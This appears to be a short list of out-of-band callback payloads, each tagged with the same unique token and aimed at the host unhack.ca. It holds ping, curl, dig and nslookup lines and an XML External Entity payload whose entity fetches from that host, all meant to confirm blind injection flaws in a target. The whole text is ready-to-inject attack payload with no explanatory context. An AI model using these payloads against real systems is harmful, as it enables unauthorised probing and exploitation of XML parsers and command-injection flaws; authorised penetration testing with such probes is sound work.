$ ping -c1 -p 008f980b0fbda0e84940161cdc112600 unhack.ca
 

$ curl http://unhack.ca/p/8f980b0fbda0e84940161cdc1126
 

$ dig 8f980b0fbda0e84940161cdc1126 @unhack.ca
 

$ dig 8f980b0fbda0e84940161cdc1126.ns.unhack.ca
 

C:\> nslookup 8f980b0fbda0e84940161cdc1126 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8f980b0fbda0e84940161cdc1126">]>
    <foo>&xxe;</foo>